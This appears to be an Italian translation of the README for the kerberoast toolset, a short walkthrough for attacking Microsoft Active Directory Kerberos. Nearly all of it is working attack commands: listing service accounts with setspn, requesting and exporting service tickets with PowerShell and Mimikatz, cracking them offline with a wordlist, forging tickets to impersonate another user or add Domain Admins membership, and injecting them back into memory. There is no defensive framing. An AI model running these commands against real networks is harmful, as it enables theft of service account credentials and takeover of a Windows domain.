kerberoast

Kerberoast è una serie di strumenti per attaccare le implementazioni Kerberos di MS. Di seguito una breve panoramica di cosa fa ogni strumento.

Estrarre tutti gli account in uso come SPN utilizzando gli strumenti MS integrati

PS C:\> setspn -T medin -Q */*

Richiedi biglietti

Un biglietto:

PS C:\> Add-Type -AssemblyName System.IdentityModel  
PS C:\> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "HTTP/web01.medin.local"  

Tutti i biglietti

PS C:\> Add-Type -AssemblyName System.IdentityModel  
PS C:\> setspn.exe -T medin.local -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }  

Estrai i biglietti acquisiti dalla RAM con Mimikatz

mimikatz # kerberos::list /export

Craccali con tgsrepcrack

./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi

Riscrivi

Fai apparire l'utente come un utente diverso

./kerberoast.py -p Password1 -r 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi -w sql.kirbi -u 500  

Aggiungi l'utente a un altro gruppo (in questo caso Amministratori di dominio)

./kerberoast.py -p Password1 -r 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi -w sql.kirbi -g 512  

Reinietta nella RAM con Mimikatz

kerberos::ptt sql.kirbi